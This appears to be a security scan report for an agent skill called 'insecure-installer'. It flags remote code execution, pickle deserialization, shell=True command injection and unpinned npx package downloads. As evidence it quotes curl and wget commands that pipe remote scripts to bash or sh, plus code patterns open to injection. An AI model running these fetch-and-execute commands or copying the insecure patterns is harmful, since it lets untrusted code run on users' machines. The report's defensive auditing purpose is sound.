The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill contains multiple instructions to download shell scripts from untrusted external domains and execute them immediately using piped shell commands.
Evidence in SKILL.md: curl -fsSL https://install.example.com/setup.sh | bash and wget -qO- https://tools.example.com/python-setup.sh | sh.
Evidence in scripts/installer.py: The install_tool function constructs a command string curl -fsSL https://install.example.com/{tool_name}.sh | bash and executes it via subprocess.run.
[DYNAMIC_EXECUTION]: The skill uses the Python pickle module to load cached configuration files. The pickle.load() function is inherently insecure as it can execute arbitrary code embedded within the serialized data.
Evidence in scripts/installer.py: The load_cache function opens ~/.dev-installer/cache.pkl and passes it to pickle.load(f) without any validation.
[COMMAND_EXECUTION]: The skill executes shell commands using shell=True, which is a risky practice that increases the attack surface for command injection.
Evidence in scripts/installer.py: The subprocess.run call uses string interpolation to build the command, which could be exploited if the tool_name variable contains malicious shell characters.
[EXTERNAL_DOWNLOADS]: The skill invokes npx to download and execute Node.js packages from the public registry without version pinning or integrity checks.
Evidence in SKILL.md: npx -y @example/mcp-server-tools and npx -y some-unknown-mcp-package.

insecure-installer